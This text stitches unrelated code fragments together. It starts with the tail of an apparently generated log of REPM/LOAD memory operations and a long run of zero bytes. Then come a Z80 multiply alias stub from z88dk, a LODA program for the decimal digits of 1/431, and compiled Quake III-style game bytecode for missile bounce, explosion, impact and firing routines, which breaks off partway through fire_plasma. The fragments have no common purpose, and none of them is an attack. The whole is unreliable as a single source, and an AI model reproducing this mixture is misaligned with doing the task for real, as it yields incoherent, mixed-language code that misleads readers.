{'src': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_math
PUBLIC l_mulu_de
; REPLICATION for Z80 of:
; Z180 MLT DE and Z80-ZXN MUL DE
; compute: de = d * e
IF __CLIB_OPT_IMATH <= 50
EXTERN l_small_mulu_de
defc l_mulu_de = l_small_mulu_de
ENDIF
IF __CLIB_OPT_IMATH > 50
EXTERN l_fast_mulu_de
defc l_mulu_de = l_fast_mulu_de
ENDIF
|
; A021435: Decimal expansion of 1/431.
; Submitted by Jamie Morken(m2)
; 0,0,2,3,2,0,1,8,5,6,1,4,8,4,9,1,8,7,9,3,5,0,3,4,8,0,2,7,8,4,2,2,2,7,3,7,8,1,9,0,2,5,5,2,2,0,4,1,7,6,3,3,4,1,0,6,7,2,8,5,3,8,2,8,3,0,6,2,6,4,5,0,1,1,6,0,0,9,2,8,0,7,4,2,4,5,9,3,9,6,7,5,1,7,4,0,1,3,9
seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1.
div $0,1724
mod $0,10
|
export G_BounceMissile
code
proc G_BounceMissile 48 12
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 4
ADDRFP4 4
INDIRP4
ASGNP4
ADDRLP4 16
ADDRGP4 level+36
INDIRI4
CVIF4 4
ADDRGP4 level+32
INDIRI4
ADDRGP4 level+36
INDIRI4
SUBI4
CVIF4 4
ADDRFP4 4
INDIRP4
CNSTI4 8
ADDP4
INDIRF4
MULF4
ADDF4
CVFI4 4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRLP4 16
INDIRI4
ARGI4
ADDRLP4 0
ARGP4
ADDRGP4 BG_EvaluateTrajectoryDelta
CALLV
pop
ADDRLP4 20
ADDRLP4 0
INDIRF4
ASGNF4
ADDRLP4 28
ADDRFP4 4
INDIRP4
CNSTI4 24
ADDP4
ASGNP4
ADDRLP4 12
ADDRLP4 20
INDIRF4
ADDRLP4 28
INDIRP4
INDIRF4
MULF4
ADDRLP4 0+4
INDIRF4
ADDRFP4 4
INDIRP4
CNSTI4 28
ADDP4
INDIRF4
MULF4
ADDF4
ADDRLP4 0+8
INDIRF4
ADDRFP4 4
INDIRP4
CNSTI4 32
ADDP4
INDIRF4
MULF4
ADDF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 36
ADDP4
ADDRLP4 20
INDIRF4
ADDRLP4 28
INDIRP4
INDIRF4
CNSTF4 3221225472
ADDRLP4 12
INDIRF4
MULF4
MULF4
ADDF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 40
ADDP4
ADDRLP4 0+4
INDIRF4
ADDRFP4 4
INDIRP4
CNSTI4 28
ADDP4
INDIRF4
CNSTF4 3221225472
ADDRLP4 12
INDIRF4
MULF4
MULF4
ADDF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 44
ADDP4
ADDRLP4 0+8
INDIRF4
ADDRFP4 4
INDIRP4
CNSTI4 32
ADDP4
INDIRF4
CNSTF4 3221225472
ADDRLP4 12
INDIRF4
MULF4
MULF4
ADDF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 8
ADDP4
INDIRI4
CNSTI4 32
BANDI4
CNSTI4 0
EQI4 $61
ADDRLP4 32
ADDRFP4 0
INDIRP4
CNSTI4 36
ADDP4
ASGNP4
ADDRLP4 32
INDIRP4
CNSTF4 1059481190
ADDRLP4 32
INDIRP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 36
ADDRFP4 0
INDIRP4
CNSTI4 40
ADDP4
ASGNP4
ADDRLP4 36
INDIRP4
CNSTF4 1059481190
ADDRLP4 36
INDIRP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 40
ADDRFP4 0
INDIRP4
CNSTI4 44
ADDP4
ASGNP4
ADDRLP4 40
INDIRP4
CNSTF4 1059481190
ADDRLP4 40
INDIRP4
INDIRF4
MULF4
ASGNF4
ADDRFP4 4
INDIRP4
CNSTI4 32
ADDP4
INDIRF4
CNSTF4 1045220557
LEF4 $63
ADDRFP4 0
INDIRP4
CNSTI4 36
ADDP4
ARGP4
ADDRLP4 44
ADDRGP4 VectorLength
CALLF4
ASGNF4
ADDRLP4 44
INDIRF4
CNSTF4 1109393408
GEF4 $63
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 4
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRGP4 G_SetOrigin
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 84
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 4
DIVI4
ASGNI4
ADDRGP4 $53
JUMPV
LABELV $63
LABELV $61
ADDRLP4 32
ADDRFP4 0
INDIRP4
CNSTI4 488
ADDP4
ASGNP4
ADDRLP4 32
INDIRP4
ADDRLP4 32
INDIRP4
INDIRF4
ADDRFP4 4
INDIRP4
CNSTI4 24
ADDP4
INDIRF4
ADDF4
ASGNF4
ADDRLP4 36
ADDRFP4 0
INDIRP4
CNSTI4 492
ADDP4
ASGNP4
ADDRLP4 36
INDIRP4
ADDRLP4 36
INDIRP4
INDIRF4
ADDRFP4 4
INDIRP4
CNSTI4 28
ADDP4
INDIRF4
ADDF4
ASGNF4
ADDRLP4 40
ADDRFP4 0
INDIRP4
CNSTI4 496
ADDP4
ASGNP4
ADDRLP4 40
INDIRP4
ADDRLP4 40
INDIRP4
INDIRF4
ADDRFP4 4
INDIRP4
CNSTI4 32
ADDP4
INDIRF4
ADDF4
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 24
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 488
ADDP4
INDIRB
ASGNB 12
ADDRFP4 0
INDIRP4
CNSTI4 16
ADDP4
ADDRGP4 level+32
INDIRI4
ASGNI4
LABELV $53
endproc G_BounceMissile 48 12
export G_ExplodeMissile
proc G_ExplodeMissile 44 24
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRGP4 level+32
INDIRI4
ARGI4
ADDRLP4 0
ARGP4
ADDRGP4 BG_EvaluateTrajectory
CALLV
pop
ADDRLP4 0
ADDRLP4 0
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 0+4
ADDRLP4 0+4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 0+8
ADDRLP4 0+8
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRFP4 0
INDIRP4
ARGP4
ADDRLP4 0
ARGP4
ADDRGP4 G_SetOrigin
CALLV
pop
ADDRLP4 24
CNSTF4 0
ASGNF4
ADDRLP4 12+4
ADDRLP4 24
INDIRF4
ASGNF4
ADDRLP4 12
ADDRLP4 24
INDIRF4
ASGNF4
ADDRLP4 12+8
CNSTF4 1065353216
ASGNF4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 0
ASGNI4
ADDRLP4 12
ARGP4
ADDRLP4 28
ADDRGP4 DirToByte
CALLI4
ASGNI4
ADDRFP4 0
INDIRP4
ARGP4
CNSTI4 51
ARGI4
ADDRLP4 28
INDIRI4
ARGI4
ADDRGP4 G_AddEvent
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 556
ADDP4
CNSTI4 1
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 740
ADDP4
INDIRI4
CNSTI4 0
EQI4 $75
ADDRFP4 0
INDIRP4
CNSTI4 488
ADDP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 600
ADDP4
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 740
ADDP4
INDIRI4
CVIF4 4
ARGF4
ADDRFP4 0
INDIRP4
CNSTI4 744
ADDP4
INDIRI4
CVIF4 4
ARGF4
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 752
ADDP4
INDIRI4
ARGI4
ADDRLP4 36
ADDRGP4 G_RadiusDamage
CALLI4
ASGNI4
ADDRLP4 36
INDIRI4
CNSTI4 0
EQI4 $77
ADDRLP4 40
CNSTI4 804
ADDRFP4 0
INDIRP4
CNSTI4 512
ADDP4
INDIRI4
MULI4
ADDRGP4 g_entities+516
ADDP4
INDIRP4
CNSTI4 716
ADDP4
ASGNP4
ADDRLP4 40
INDIRP4
ADDRLP4 40
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $77
LABELV $75
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
LABELV $67
endproc G_ExplodeMissile 44 24
export G_MissileImpact
proc G_MissileImpact 56 32
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 4
ADDRFP4 4
INDIRP4
ASGNP4
ADDRLP4 4
CNSTI4 0
ASGNI4
ADDRLP4 0
CNSTI4 804
ADDRFP4 4
INDIRP4
CNSTI4 52
ADDP4
INDIRI4
MULI4
ADDRGP4 g_entities
ADDP4
ASGNP4
ADDRLP4 8
CNSTI4 0
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 732
ADDP4
INDIRI4
ADDRLP4 8
INDIRI4
NEI4 $81
ADDRFP4 0
INDIRP4
CNSTI4 8
ADDP4
INDIRI4
CNSTI4 48
BANDI4
ADDRLP4 8
INDIRI4
EQI4 $81
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 4
INDIRP4
ARGP4
ADDRGP4 G_BounceMissile
CALLV
pop
ADDRFP4 0
INDIRP4
ARGP4
CNSTI4 44
ARGI4
CNSTI4 0
ARGI4
ADDRGP4 G_AddEvent
CALLV
pop
ADDRGP4 $80
JUMPV
LABELV $81
ADDRLP4 0
INDIRP4
CNSTI4 732
ADDP4
INDIRI4
CNSTI4 0
EQI4 $83
ADDRFP4 0
INDIRP4
CNSTI4 736
ADDP4
INDIRI4
CNSTI4 0
EQI4 $85
ADDRLP4 0
INDIRP4
ARGP4
CNSTI4 804
ADDRFP4 0
INDIRP4
CNSTI4 512
ADDP4
INDIRI4
MULI4
ADDRGP4 g_entities
ADDP4
ARGP4
ADDRLP4 24
ADDRGP4 LogAccuracyHit
CALLI4
ASGNI4
ADDRLP4 24
INDIRI4
CNSTI4 0
EQI4 $87
ADDRLP4 28
CNSTI4 804
ADDRFP4 0
INDIRP4
CNSTI4 512
ADDP4
INDIRI4
MULI4
ADDRGP4 g_entities+516
ADDP4
INDIRP4
CNSTI4 716
ADDP4
ASGNP4
ADDRLP4 28
INDIRP4
ADDRLP4 28
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
ADDRLP4 4
CNSTI4 1
ASGNI4
LABELV $87
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRGP4 level+32
INDIRI4
ARGI4
ADDRLP4 12
ARGP4
ADDRGP4 BG_EvaluateTrajectoryDelta
CALLV
pop
ADDRLP4 12
ARGP4
ADDRLP4 28
ADDRGP4 VectorLength
CALLF4
ASGNF4
ADDRLP4 28
INDIRF4
CNSTF4 0
NEF4 $91
ADDRLP4 12+8
CNSTF4 1065353216
ASGNF4
LABELV $91
ADDRLP4 0
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
ARGP4
CNSTI4 804
ADDRFP4 0
INDIRP4
CNSTI4 512
ADDP4
INDIRI4
MULI4
ADDRGP4 g_entities
ADDP4
ARGP4
ADDRLP4 12
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 92
ADDP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 736
ADDP4
INDIRI4
ARGI4
CNSTI4 0
ARGI4
ADDRFP4 0
INDIRP4
CNSTI4 748
ADDP4
INDIRI4
ARGI4
ADDRGP4 G_Damage
CALLV
pop
LABELV $85
LABELV $83
ADDRFP4 0
INDIRP4
CNSTI4 524
ADDP4
INDIRP4
ARGP4
ADDRGP4 $96
ARGP4
ADDRLP4 12
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 12
INDIRI4
CNSTI4 0
NEI4 $94
ADDRLP4 32
ADDRGP4 G_Spawn
CALLP4
ASGNP4
ADDRLP4 16
ADDRLP4 32
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 732
ADDP4
INDIRI4
CNSTI4 0
EQI4 $97
ADDRLP4 0
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $97
ADDRFP4 4
INDIRP4
CNSTI4 24
ADDP4
ARGP4
ADDRLP4 40
ADDRGP4 DirToByte
CALLI4
ASGNI4
ADDRLP4 16
INDIRP4
ARGP4
CNSTI4 50
ARGI4
ADDRLP4 40
INDIRI4
ARGI4
ADDRGP4 G_AddEvent
CALLV
pop
ADDRLP4 16
INDIRP4
CNSTI4 140
ADDP4
ADDRLP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 764
ADDP4
ADDRLP4 0
INDIRP4
ASGNP4
ADDRLP4 48
CNSTF4 1056964608
ASGNF4
ADDRLP4 20
ADDRLP4 0
INDIRP4
CNSTI4 488
ADDP4
INDIRF4
ADDRLP4 48
INDIRF4
ADDRLP4 0
INDIRP4
CNSTI4 436
ADDP4
INDIRF4
ADDRLP4 0
INDIRP4
CNSTI4 448
ADDP4
INDIRF4
ADDF4
MULF4
ADDF4
ASGNF4
ADDRLP4 20+4
ADDRLP4 0
INDIRP4
CNSTI4 492
ADDP4
INDIRF4
ADDRLP4 48
INDIRF4
ADDRLP4 0
INDIRP4
CNSTI4 440
ADDP4
INDIRF4
ADDRLP4 0
INDIRP4
CNSTI4 452
ADDP4
INDIRF4
ADDF4
MULF4
ADDF4
ASGNF4
ADDRLP4 20+8
ADDRLP4 0
INDIRP4
CNSTI4 496
ADDP4
INDIRF4
CNSTF4 1056964608
ADDRLP4 0
INDIRP4
CNSTI4 444
ADDP4
INDIRF4
ADDRLP4 0
INDIRP4
CNSTI4 456
ADDP4
INDIRF4
ADDF4
MULF4
ADDF4
ASGNF4
ADDRLP4 20
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 24
ADDP4
ARGP4
ADDRGP4 SnapVectorTowards
CALLV
pop
ADDRGP4 $98
JUMPV
LABELV $97
ADDRLP4 20
ADDRFP4 4
INDIRP4
CNSTI4 12
ADDP4
INDIRB
ASGNB 12
ADDRFP4 4
INDIRP4
CNSTI4 24
ADDP4
ARGP4
ADDRLP4 44
ADDRGP4 DirToByte
CALLI4
ASGNI4
ADDRLP4 16
INDIRP4
ARGP4
CNSTI4 51
ARGI4
ADDRLP4 44
INDIRI4
ARGI4
ADDRGP4 G_AddEvent
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 764
ADDP4
CNSTP4 0
ASGNP4
LABELV $98
ADDRLP4 20
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 24
ADDP4
ARGP4
ADDRGP4 SnapVectorTowards
CALLV
pop
ADDRLP4 16
INDIRP4
CNSTI4 556
ADDP4
CNSTI4 1
ASGNI4
ADDRLP4 16
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 0
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 11
ASGNI4
ADDRFP4 0
INDIRP4
ARGP4
ADDRLP4 20
ARGP4
ADDRGP4 G_SetOrigin
CALLV
pop
ADDRLP4 16
INDIRP4
ARGP4
ADDRLP4 20
ARGP4
ADDRGP4 G_SetOrigin
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 Weapon_HookThink
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 100
ADDI4
ASGNI4
ADDRLP4 40
ADDRFP4 0
INDIRP4
CNSTI4 600
ADDP4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 12
ADDP4
ASGNP4
ADDRLP4 40
INDIRP4
ADDRLP4 40
INDIRP4
INDIRI4
CNSTI4 2048
BORI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 600
ADDP4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 92
ADDP4
ADDRFP4 0
INDIRP4
CNSTI4 488
ADDP4
INDIRB
ASGNB 12
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
ADDRLP4 16
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
ADDRGP4 $80
JUMPV
LABELV $94
ADDRLP4 0
INDIRP4
CNSTI4 732
ADDP4
INDIRI4
CNSTI4 0
EQI4 $102
ADDRLP4 0
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $102
ADDRFP4 4
INDIRP4
CNSTI4 24
ADDP4
ARGP4
ADDRLP4 20
ADDRGP4 DirToByte
CALLI4
ASGNI4
ADDRFP4 0
INDIRP4
ARGP4
CNSTI4 50
ARGI4
ADDRLP4 20
INDIRI4
ARGI4
ADDRGP4 G_AddEvent
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 140
ADDP4
ADDRLP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRGP4 $103
JUMPV
LABELV $102
ADDRFP4 4
INDIRP4
CNSTI4 44
ADDP4
INDIRI4
CNSTI4 4096
BANDI4
CNSTI4 0
EQI4 $104
ADDRFP4 4
INDIRP4
CNSTI4 24
ADDP4
ARGP4
ADDRLP4 20
ADDRGP4 DirToByte
CALLI4
ASGNI4
ADDRFP4 0
INDIRP4
ARGP4
CNSTI4 52
ARGI4
ADDRLP4 20
INDIRI4
ARGI4
ADDRGP4 G_AddEvent
CALLV
pop
ADDRGP4 $105
JUMPV
LABELV $104
ADDRFP4 4
INDIRP4
CNSTI4 24
ADDP4
ARGP4
ADDRLP4 20
ADDRGP4 DirToByte
CALLI4
ASGNI4
ADDRFP4 0
INDIRP4
ARGP4
CNSTI4 51
ARGI4
ADDRLP4 20
INDIRI4
ARGI4
ADDRGP4 G_AddEvent
CALLV
pop
LABELV $105
LABELV $103
ADDRFP4 0
INDIRP4
CNSTI4 556
ADDP4
CNSTI4 1
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 0
ASGNI4
ADDRFP4 4
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 24
ADDP4
ARGP4
ADDRGP4 SnapVectorTowards
CALLV
pop
ADDRFP4 0
INDIRP4
ARGP4
ADDRFP4 4
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRGP4 G_SetOrigin
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 740
ADDP4
INDIRI4
CNSTI4 0
EQI4 $106
ADDRFP4 4
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 600
ADDP4
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 740
ADDP4
INDIRI4
CVIF4 4
ARGF4
ADDRFP4 0
INDIRP4
CNSTI4 744
ADDP4
INDIRI4
CVIF4 4
ARGF4
ADDRLP4 0
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 752
ADDP4
INDIRI4
ARGI4
ADDRLP4 24
ADDRGP4 G_RadiusDamage
CALLI4
ASGNI4
ADDRLP4 24
INDIRI4
CNSTI4 0
EQI4 $108
ADDRLP4 4
INDIRI4
CNSTI4 0
NEI4 $110
ADDRLP4 28
CNSTI4 804
ADDRFP4 0
INDIRP4
CNSTI4 512
ADDP4
INDIRI4
MULI4
ADDRGP4 g_entities+516
ADDP4
INDIRP4
CNSTI4 716
ADDP4
ASGNP4
ADDRLP4 28
INDIRP4
ADDRLP4 28
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $110
LABELV $108
LABELV $106
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
LABELV $80
endproc G_MissileImpact 56 32
export G_RunMissile
proc G_RunMissile 96 28
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRGP4 level+32
INDIRI4
ARGI4
ADDRLP4 60
ARGP4
ADDRGP4 BG_EvaluateTrajectory
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 664
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $115
ADDRLP4 56
ADDRFP4 0
INDIRP4
CNSTI4 664
ADDP4
INDIRP4
INDIRI4
ASGNI4
ADDRGP4 $116
JUMPV
LABELV $115
ADDRLP4 56
ADDRFP4 0
INDIRP4
CNSTI4 512
ADDP4
INDIRI4
ASGNI4
LABELV $116
ADDRLP4 0
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 488
ADDP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 436
ADDP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 448
ADDP4
ARGP4
ADDRLP4 60
ARGP4
ADDRLP4 56
INDIRI4
ARGI4
ADDRFP4 0
INDIRP4
CNSTI4 572
ADDP4
INDIRI4
ARGI4
ADDRGP4 trap_Trace
CALLV
pop
ADDRLP4 76
CNSTI4 0
ASGNI4
ADDRLP4 0+4
INDIRI4
ADDRLP4 76
INDIRI4
NEI4 $120
ADDRLP4 0
INDIRI4
ADDRLP4 76
INDIRI4
EQI4 $117
LABELV $120
ADDRLP4 0
ARGP4
ADDRLP4 84
ADDRFP4 0
INDIRP4
CNSTI4 488
ADDP4
ASGNP4
ADDRLP4 84
INDIRP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 436
ADDP4
ARGP4
ADDRFP4 0
INDIRP4
CNSTI4 448
ADDP4
ARGP4
ADDRLP4 84
INDIRP4
ARGP4
ADDRLP4 56
INDIRI4
ARGI4
ADDRFP4 0
INDIRP4
CNSTI4 572
ADDP4
INDIRI4
ARGI4
ADDRGP4 trap_Trace
CALLV
pop
ADDRLP4 0+8
CNSTF4 0
ASGNF4
ADDRGP4 $118
JUMPV
LABELV $117
ADDRFP4 0
INDIRP4
CNSTI4 488
ADDP4
ADDRLP4 0+12
INDIRB
ASGNB 12
LABELV $118
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 trap_LinkEntity
CALLV
pop
ADDRLP4 0+8
INDIRF4
CNSTF4 1065353216
EQF4 $123
ADDRLP4 0+44
INDIRI4
CNSTI4 16
BANDI4
CNSTI4 0
EQI4 $126
ADDRLP4 84
ADDRFP4 0
INDIRP4
CNSTI4 600
ADDP4
INDIRP4
ASGNP4
ADDRLP4 88
CNSTU4 0
ASGNU4
ADDRLP4 84
INDIRP4
CVPU4 4
ADDRLP4 88
INDIRU4
EQU4 $129
ADDRLP4 92
ADDRLP4 84
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
ASGNP4
ADDRLP4 92
INDIRP4
CVPU4 4
ADDRLP4 88
INDIRU4
EQU4 $129
ADDRLP4 92
INDIRP4
CNSTI4 760
ADDP4
INDIRP4
CVPU4 4
ADDRFP4 0
INDIRP4
CVPU4 4
NEU4 $129
ADDRFP4 0
INDIRP4
CNSTI4 600
ADDP4
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 760
ADDP4
CNSTP4 0
ASGNP4
LABELV $129
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 G_FreeEntity
CALLV
pop
ADDRGP4 $113
JUMPV
LABELV $126
ADDRFP4 0
INDIRP4
ARGP4
ADDRLP4 0
ARGP4
ADDRGP4 G_MissileImpact
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
CNSTI4 3
EQI4 $131
ADDRGP4 $113
JUMPV
LABELV $131
LABELV $123
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 G_RunThink
CALLV
pop
LABELV $113
endproc G_RunMissile 96 28
export fire_plasma
proc fire_plasma 20 4
ADDRFP4 8
ADDRFP4 8
INDIRP4
ASGNP4
ADDRFP4 8
INDIRP4
ARGP4
ADDRGP4 VectorNormalize
CALLF4
pop
ADDRLP4 4
ADDRGP4 G_Spawn
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 4
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 524
ADDP4
ADDRGP4 $134
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 10000
ADDI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 G_ExplodeMissile
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 3
ASGNI4
